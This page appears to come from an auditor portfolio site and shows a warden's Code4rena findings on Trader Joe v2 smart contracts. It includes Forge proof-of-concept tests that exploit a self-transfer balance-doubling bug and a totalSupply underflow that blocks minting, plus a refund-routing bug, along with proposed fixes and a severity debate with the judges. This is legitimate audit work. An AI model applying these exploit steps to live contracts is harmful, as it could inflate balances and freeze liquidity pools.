Trader Joe v2 contest - neumo's results

One-stop-shop decentralized trading on Avalanche.

General Information

Platform: Code4rena

Start Date: 14/10/2022

Pot Size: $100,000 USDC

Total HM: 12

Participants: 75

Period: 9 days

Judge: GalloDaSballo

Total Solo HM: 1

Id: 171

League: ETH

Trader Joe

Findings Distribution

Researcher Performance

Rank: 37/75

Findings: 2

Award: $1.30

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

0.3268 USDC - $0.33

Labels

bug
3 (High Risk)
satisfactory
duplicate-299

External Links

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L191

Vulnerability details

Impact

The accounting of balances of the tokens is not done right in the _transfer function, allowing a user to transfer an arbitrary amount of tokens from his/her balance to him/herself, incrementing the balance by the amount transferred. Because LBPair inherits from LBToken, this issue affects all pairs created in TraderJoe.

A side impact is that the invariant that the sum of user balances for a certain _id should be never be greater than the totalSupply of that _id can be bypassed. The totalSupply is not updated in the _transfer function (as it's only modified in the _mint and _burn functions) and can end up being less than a user's balance. This way, the user could burn enough tokens to make the totalSupply underflow (note the unchecked block) and make the totalSupply an extremely large number, which could cause the minting of tokens (via LBRouter's addLiquidity, for instance) always revert.

For example:

  1. In a pair recently created, a user adds liquidity and receives 100 tokens. The user balance is equal to the totalSupply at this moment (100).
  2. The user transfers 100 tokens to him/herself. The totalSupply is still 100, but the user's balance is 200.
  3. The user burns 101 tokens. The user's balance is 99 but the totalSupply is now 2^256-1 (type(uint).max).

Proof of Concept

The error that causes the impacts described above can be found in the _transfer function:

function _transfer(
        address _from,
        address _to,
        uint256 _id,
        uint256 _amount
    ) internal virtual {
        uint256 _fromBalance = _balances[_id][_from];
        if (_fromBalance < _amount) revert LBToken__TransferExceedsBalance(_from, _id, _amount);

        _beforeTokenTransfer(_from, _to, _id, _amount);

        uint256 _toBalance = _balances[_id][_to];

        unchecked {
            _balances[_id][_from] = _fromBalance - _amount;
            _balances[_id][_to] = _toBalance + _amount;
        }

        _remove(_from, _id, _fromBalance, _amount);
        _add(_to, _id, _toBalance, _amount);
    }

To be precise, this line:

_balances[_id][_to] = _toBalance + _amount;

sets the balance of _to address to the variable _toBalance (wich is the cached balance of the account) plus the _amount transferred. The problem is, if _from and _to are the same address, their balance ends up being their initial balance (_toBalance) plus the amount transferred.

The following Forge tests illustrate the impacts described above:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import "./TestHelper.sol";

contract LiquidityBinTokenExploitTest is TestHelper {
   
   function setUp() public {
        token6D = new ERC20MockDecimals(6);
        token18D = new ERC20MockDecimals(18);

        factory = new LBFactory(DEV, 8e14);
        ILBPair _LBPairImplementation = new LBPair(factory);
        factory.setLBPairImplementation(address(_LBPairImplementation));
        addAllAssetsToQuoteWhitelist(factory);
        setDefaultFactoryPresets(DEFAULT_BIN_STEP);

        pair = createLBPairDefaultFees(token6D, token18D);
    }

    function testExploitSafeTransferFrom() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 1, 0);

        // We check Alice starts with zero balance
        assertEq(pair.balanceOf(ALICE, _ids[0]), 0);

        uint256 amount = pair.balanceOf(DEV, _ids[0]);

        // We transfer amount to Alice and then assert her balance is correct
        pair.safeTransferFrom(DEV, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), amount);


        // Alice calls safeTransferFrom with from and to addresses being ALICE's address
        // to transfer her full balance to herself
        // Ends up having twice her previous balance
        vm.prank(ALICE);
        pair.safeTransferFrom(ALICE, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount);
    }

    function testExploitSafeBatchTransferFrom() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

        // We check Alice starts with zero balance
        assertEq(pair.balanceOf(ALICE, _ids[0]), 0);

        uint256 amount = amountIn / 3;
        uint256[] memory amounts = new uint256[](5);
        for (uint256 i; i < 5; i++) {
            amounts[i] = pair.balanceOf(DEV, _ids[i]);
        }

        // We transfer amounts to Alice and then assert her balance for the first token is correct
        pair.safeBatchTransferFrom(DEV, ALICE, _ids, amounts);
        assertEq(pair.balanceOf(ALICE, _ids[0]), amount);

        // Alice calls safeBatchTransferFrom with from and to addresses being ALICE's address
        // to transfer her full balance of the first token to herself
        // Ends up having twice her previous balance
        vm.prank(ALICE);
        pair.safeBatchTransferFrom(ALICE, ALICE, _ids, amounts);
        assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount);
    }

    function testExploitBurnMint() public {
        uint256 amountIn = 1e18;

        (
            uint256[] memory _ids,
            uint256[] memory _distributionX,
            uint256[] memory _distributionY,
            uint256 amountXIn
        ) = addLiquidity(amountIn, ID_ONE, 1, 0);


        // We check Alice starts with zero balance
        assertEq(pair.balanceOf(ALICE, _ids[0]), 0);

        uint256 amount = pair.balanceOf(DEV, _ids[0]);

        // We transfer amount to Alice and then assert her balance is correct
        pair.safeTransferFrom(DEV, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), amount);

        // We check the total supply is equal to amount, the balance of Alice
        assertEq(pair.balanceOf(ALICE, _ids[0]), pair.totalSupply(_ids[0]));

        // Alice calls safeTransferFrom with from and to addresses being ALICE's address
        // to transfer her full balance of the token to herself
        // Ends up having twice her previous balance
        vm.prank(ALICE);
        pair.safeTransferFrom(ALICE, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount);


        // We check the total supply is still equal to amount, half the balance of Alice
        assertEq(amount, pair.totalSupply(_ids[0]));

        // Alice burns amount + 1 tokens. As the token supply is still amount,
        // this operation will underflow and we'll end up with a token supply equal to 2^256-1
        uint256[] memory burnMintIds = new uint256[](1);
        burnMintIds[0] = _ids[0];
        uint256[] memory burnMintAmounts = new uint256[](1);
        burnMintAmounts[0] = amount + 1;
        uint256[] memory transferToPairAmounts = new uint256[](1);
        transferToPairAmounts[0] = pair.balanceOf(ALICE, _ids[0]);
        vm.startPrank(ALICE);
        // first transfer amount + 1 to pair
        pair.safeBatchTransferFrom(ALICE, address(pair), burnMintIds, transferToPairAmounts);
        // then burn amount + 1
        pair.burn(burnMintIds, burnMintAmounts, ALICE);
        vm.stopPrank();
        // we check that the totalSupply is 2^256 - 1
        assertEq(pair.totalSupply(_ids[0]), type(uint).max);


        // If we try to mint tokens, the execution reverts because it overflows
        (_ids, _distributionX, _distributionY, amountXIn) = spreadLiquidity(amountIn, ID_ONE, 1, 0);

        token6D.mint(address(pair), amountXIn);
        token18D.mint(address(pair), amountIn);

        vm.expectRevert(stdError.arithmeticError);
        pair.mint(_ids, _distributionX, _distributionY, DEV);

    }
}

The first test checks that ALICE, after receiving some tokens from DEV, who added liquidity to a pair, calls safeTransferFrom to send her full balance to herself and ends up with twice her balance. The second test, checks the same but calling safeBatchTransferFrom (I only check here the first token of the batch for simplicity). The third test turns the total supply into 2^256-1 using the steps explained above, and checks that now is impossible to add liquidity to the pair.

Tools Used

Manual review and Forge tests

Change LBToken.sol line 191:

_balances[_id][_to] = _toBalance + _amount;

with

_balances[_id][_to] += _amount;

#0 - trust1995

2022-10-23T21:30:14Z

Dup of #422

#1 - GalloDaSballo

2022-10-26T16:33:51Z

Example of high quality report

#2 - GalloDaSballo

2022-10-26T16:35:02Z

#3 - c4-judge

2022-11-23T18:28:36Z

GalloDaSballo marked the issue as not a duplicate

#4 - c4-judge

2022-11-23T18:29:17Z

GalloDaSballo marked the issue as duplicate of #423

#5 - c4-judge

2022-11-23T18:29:57Z

GalloDaSballo marked the issue as not a duplicate

#6 - c4-judge

2022-11-23T18:30:20Z

GalloDaSballo marked the issue as duplicate of #299

#7 - Simon-Busch

2022-12-05T06:39:06Z

Marked this issue as Satisfactory as requested by @GalloDaSballo

Findings Information

🌟 Selected for report: rbserver

Also found by: 8olidity, ElKu, Rahoz, TomJ, Trust, cccz, d3e4, hyh, lukris02, m_Rassska, neumo, pashov, vv7

Labels

bug
question
2 (Med Risk)
sponsor confirmed
edited-by-warden
satisfactory
duplicate-469

Awards

0.9728 USDC - $0.97

External Links

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L520

Vulnerability details

Impact

In LBRouter.sol, function swapAVAXForExactTokens is intended to send the exact amount of tokens _amountOut to address _to. In case the caller sends too much AVAX to the function call, the expected behaviour would be for the caller to be refunded the excess AVAX, but instead of this, this excess is also sent to _to. But instead of this, the transfer is never completed because:

if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value);

If msg.value is greater than amountsIn[0], amountsIn[0] - msg.value will allways revert because of an underflow. So this is kind of a two bugs in one situation, although I think the real issue here is that the transfer tries to send AVAX to the _to address instead of refunding the msg.sender.

Proof of Concept

The following test shows how a call to swapAVAXForExactTokens sending a msg.value greater than the expected amountIn reverts. You can just copy paste the snippet in a new test file in the test file of the project and run forge test --match testExploitSwapAVAXForExactTokensSinglePair*

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./TestHelper.sol"; contract LiquidityBinRouterTest is TestHelper { function setUp() public { token6D = new ERC20MockDecimals(6); wavax = new WAVAX(); factory = new LBFactory(DEV, 8e14); ILBPair _LBPairImplementation = new LBPair(factory); factory.setLBPairImplementation(address(_LBPairImplementation)); addAllAssetsToQuoteWhitelist(factory); setDefaultFactoryPresets(DEFAULT_BIN_STEP); router = new LBRouter(factory, IJoeFactory(JOE_V1_FACTORY_ADDRESS), IWAVAX(address(wavax))); pairWavax = createLBPairDefaultFees(token6D, wavax); addLiquidityFromRouter(token6D, ERC20MockDecimals(address(wavax)), 100e18, ID_ONE, 9, 2, DEFAULT_BIN_STEP); } function testExploitSwapAVAXForExactTokensSinglePair() public { uint256 amountOut = 1e18; (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false); IERC20[] memory tokenList = new IERC20[](2); tokenList[0] = wavax; tokenList[1] = token6D; uint256[] memory pairVersions = new uint256[](1); pairVersions[0] = DEFAULT_BIN_STEP; vm.deal(ALICE, amountIn + 100); assertEq(BOB.balance, 0); vm.prank(ALICE); vm.expectRevert(stdError.arithmeticError); router.swapAVAXForExactTokens{value: amountIn + 100}(amountOut, pairVersions, tokenList, BOB, block.timestamp); } receive() external payable {} }

I fixed this substraction in LBRouter.sol to prevent that the call reverts, and then updated the previous test like this:

function testExploitSwapAVAXForExactTokensSinglePair() public { uint256 amountOut = 1e18; (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false); IERC20[] memory tokenList = new IERC20[](2); tokenList[0] = wavax; tokenList[1] = token6D; uint256[] memory pairVersions = new uint256[](1); pairVersions[0] = DEFAULT_BIN_STEP; vm.deal(ALICE, amountIn + 100); assertEq(BOB.balance, 0); vm.prank(ALICE); router.swapAVAXForExactTokens{value: amountIn + 100}(amountOut, pairVersions, tokenList, BOB, block.timestamp); assertEq(BOB.balance, 100); assertEq(IERC20(token6D).balanceOf(BOB), amountOut); }

So this time, after the call to swapAVAXForExactTokens, BOB ends up with a native balance of 100 and a token6D balance equal to the tokens we wanted to send to him. Those excess AVAX should have been returned to ALICE instead.

Tools Used

Manual review and Forge tests

There are two things to fix here:

  1. Reverse the terms of the substraction amountsIn[0] - msg.value
  2. Set the receiver of the call to _safeTransferAVAX to msg.sender

To acomplish this, change Line 520 of LBRouter.sol:

if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value);

with this

if (msg.value > amountsIn[0]) _safeTransferAVAX(msg.sender, msg.value - amountsIn[0]);

#0 - Shungy

2022-10-24T13:02:57Z

I believe this finding to be valid but of lower severity.

My reasoning is stated under a duplicate submission: https://github.com/code-423n4/2022-10-traderjoe-findings/issues/469#issuecomment-1288458447

#1 - neumoxx

2022-10-24T13:33:39Z

I believe this finding to be valid but of lower severity.

My reasoning is stated under a duplicate submission: #469 (comment)

@Shungy The main issue I submitted here is that the function is not refunding the sender, but forwarding the excess AVAX to the recipient of the swap, not the error in the subtraction (which btw I also explain in the issue). I should have probably filed two submissions, one for each bug, now that I think about it.

#2 - 0x0Louis

2022-10-28T23:45:12Z

Refunding to to was intentional as we believe that if a contract uses our router, the refund would be sent to the contract that uses the router and not the user. e.g.

Alice -> Contract A -> LBRouter -> Alice In this case, Contract A would receive Alice's refund, while using to it would be Alice (or another recipient, but we believe that most people use to as themselves).

However, I understand why it makes sense to send it to the msg.sender as well.

What do you think of this @neumoxx? If you do not agree with us, could you elaborate a bit further?

#3 - neumoxx

2022-10-29T08:13:45Z

Hi @0x0Louis and thanks for replying. I get your point. There are so many use cases that, for some of them, the right thing would be to refund the msg.sender (this is how UniswapV2 handles this), for others it would be to refund _to or tx.origin or even another address. In the end what the caller would expect is that the function refunds the address that is spending the AVAX. That is why I wrote this report in the first place, because if I want to swap my AVAX to send some tokens to you, it is not of common sense that the function sends the tokens + the excess AVAX to you. As the AVAX "spender" is not easy to know beforehand, the only flexible solution I can think of that would cover all situations is adding a _refundRecipient argument to the function, so it is crystal clear to the caller who will receive the excess amount sent in. Something like this:

function swapAVAXForExactTokens(
        uint256 _amountOut,
        uint256[] memory _pairBinSteps,
        IERC20[] memory _tokenPath,
        address _to,
        address _refundRecipient,
        uint256 _deadline
    )
...
    if (msg.value > amountsIn[0]) _safeTransferAVAX(_refundRecipient, msg.value - amountsIn[0]);
}

Note that this excess sent to _to address is also present in LBPair's mint function (here and here), so if you go for adding the _refundRecipient argument, you should probably add it there too. By the way, I didn't report the excess sent to _to in the mint function because I didn't thought it was likely to happen to add liquidity to an address other than the msg.sender.

#4 - 0x0Louis

2022-10-29T19:47:55Z

Hi, thanks for replying and giving so much context. I believe that the refund on the Router should be msg.sender and that the contract that uses our router should handle the refund to the user if this behavior can occur.

However, inside the mint function, we believe that as the to receive the LP receipt tokens it also make sense that he receives the refund of the excess tokens sent. Refunding the msg.sender would send the funds to the router and would increase gas and for a transfer tax token, incurs more losses than necessary.

Adding a refundRecipient would indeed solve all the issues, but I don't really like changing 2 functions at this stage, as it might add issues that we're not aware of currently

#5 - neumoxx

2022-10-30T08:09:25Z

Yes, you're right, I missed the fact that the mint's function msg.sender is the Router, so in that case it's probably better to refund to than msg.sender. And happy to read that we agree swapAVAXForExactTokens should refund msg.sender. Regarding refundRecipient, I totally agree that adding a new argument to these functions could be a risk, I just had to point out it's the most flexible solution to all use cases.

#6 - GalloDaSballo

2022-11-10T15:40:27Z

#7 - c4-judge

2022-11-10T15:41:32Z

GalloDaSballo marked the issue as duplicate

#8 - c4-judge

2022-11-10T15:42:30Z

GalloDaSballo changed the severity to 2 (Med Risk)

#9 - neumoxx

2022-11-10T17:04:30Z

Hi @GalloDaSballo, I think this issue is not a duplicate of #469 and should not be downgraded either. Here's my reasoning: The issue I expose here is the wrong destination of the refund of the excess AVAX sent, not the issue with the order of the subtraction that causes this function to revert. You can see it both in the title of the issue, the explanation of it and the exchanged comments with the sponsor (who confirmed the issue). I think it deserves a High impact because can lead to a loss of funds of the sender. Thx.

#10 - c4-judge

2022-11-13T19:54:13Z

#11 - GalloDaSballo

2022-11-13T19:54:40Z

L

#12 - GalloDaSballo

2022-11-13T20:00:45Z

Disagree with the implication that not refunding msg.sender is equivalent to a loss of principal or a loss of yield, the loss is the marginal unused tokens, which can be argued are equivalent to being transferred to the to in either case, with the difference that some of them are not being processed.

#13 - GalloDaSballo

2022-11-20T23:53:32Z

First of all, as of all dups of #469 I'm going to bump these up to Med as they ultimately show that the function doesn't work as intended in every case except when no price action has happened between order placement and tx mining.

That said, I have consulted with two other judges and we agree that the finding related to refunding to to instead of the caller is more of a quality of life improvement than a vulnerability.

Specifically:

  • Funds are not lost, they are sent to the recipient
  • Caller could have performed the transfer to themselves, then transferred the token to to if they wanted the refund
  • The refund is not lost "loss of asset / loss of value", the refund is sent to to whom has control of the tokens and can do what they desire.

For those reasons, am not going to create a separate Med for this report, but will upgrade to Med as a dup of #469

I appreciate you taking the time to flag this up, and believe your attention to detail will help you long term, however, in this specific context, I cannot justify a separate Med Issue for the to part of the finding.

If I were to rate them separately I would have given Low Severity to the to and Med to the revert on slippage

#14 - Simon-Busch

2022-11-21T06:24:27Z

Reverted to M as requested by @GalloDaSballo Duplicate of https://github.com/code-423n4/2022-10-traderjoe-findings/issues/469

#15 - neumoxx

2022-11-21T08:12:11Z

Thanks @GalloDaSballo for your thorough response, and for taking a second look to both issues.

#16 - Simon-Busch

2022-12-05T06:43:58Z

Marked this issue as satisfactory as requested by @GalloDaSballo

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter